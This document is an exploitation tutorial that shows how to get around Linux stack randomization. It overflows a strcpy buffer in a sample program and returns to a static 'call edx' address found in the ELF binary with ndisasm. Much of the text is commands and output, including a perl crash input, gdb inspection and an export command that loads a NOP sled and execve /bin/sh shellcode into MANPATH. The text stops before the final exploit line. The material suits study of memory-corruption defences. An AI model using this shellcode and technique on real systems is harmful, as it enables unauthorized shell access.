Linux Virtual Addresses Exploitation
====================================
Linux kernel recently incorporated a protection which randomizes the stack making exploitation of
stack based overflows more difficult. I present here an attack which works on exploiting static
addresses in Linux. You should be familiar with standard stack smashing before attempting this 
paper.

Virtual Addresses
=================
Lets take a look at two instances of the same program which is a simple loop() to check maps.

We can see the stack is randomized along with the libaries making ret-into-libc
difficult. However we are left with one constant between the two programs.

08048000-08049000 r-xp 00000000 03:01 493449     /home/prdelka/env
08049000-0804a000 rw-p 00000000 03:01 493449     /home/prdelka/env

So we must find our return address here. Let us take a look now at a vulnerable program.

prdelka@gentoo ~ $ cat bug.c
#include <stdio.h>

int main(int argc,char* argv[]){
        char buffer[100];
        strcpy(buffer,argv[1]);
        return 1;
}

We will now overflow the stack and look at the registers. using ./bug `perl -e 'print "A"x5000'`
and GDB.

Program received signal SIGSEGV, Segmentation fault.

If we examine more closely we can find the randomized address of the environment pointer in EDX which
is always pointing to our environment variables in example vulnerability, this is often the case in
regular command line arguement overflows.

gdb> x/s $edx
0xbfa0b71b:      "MANPATH=", 

To exploit the program, we must find a way to "call $edx", "jmp $edx" or "push $edx, retn". We can find
a usable return address in our static area of memory from the ELF binary, we use ndisasm and grep.

prdelka@gentoo ~ $ ./ndisasm bug | grep "call dx"
00000338  FFD2              call dx
000016F3  FFD2              call dx

so we know the base address of the ELF binary is 08048000, if we add the offset 0x338 we have a return
address of 0x8048338! If we examine this return address in GDB we see the following.

0x8048338 <__do_global_dtors_aux+40>:   call   *%edx

Exploitation
============
To exploit the bug we will place our payload in the first environment variable, to find this we run the
'env' command.

prdelka@gentoo ~ $ env
MANPATH=/usr/local/share/man:/usr/share/man:/usr/share/binutils-data/i686-pc-linux-gnu/2.15.92.0.2
/man:/usr/share/gcc-data/i686-pc-linux-gnu/3.3.6/man:/usr/qt/3/doc/man

We will now put our shellcode in this environment variable.

prdelka@gentoo ~ $ export MANPATH=`perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68";print "//sh";print "\x68";print "/bin";print "\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";'`

We can now exploit our application with our return address we found previously.
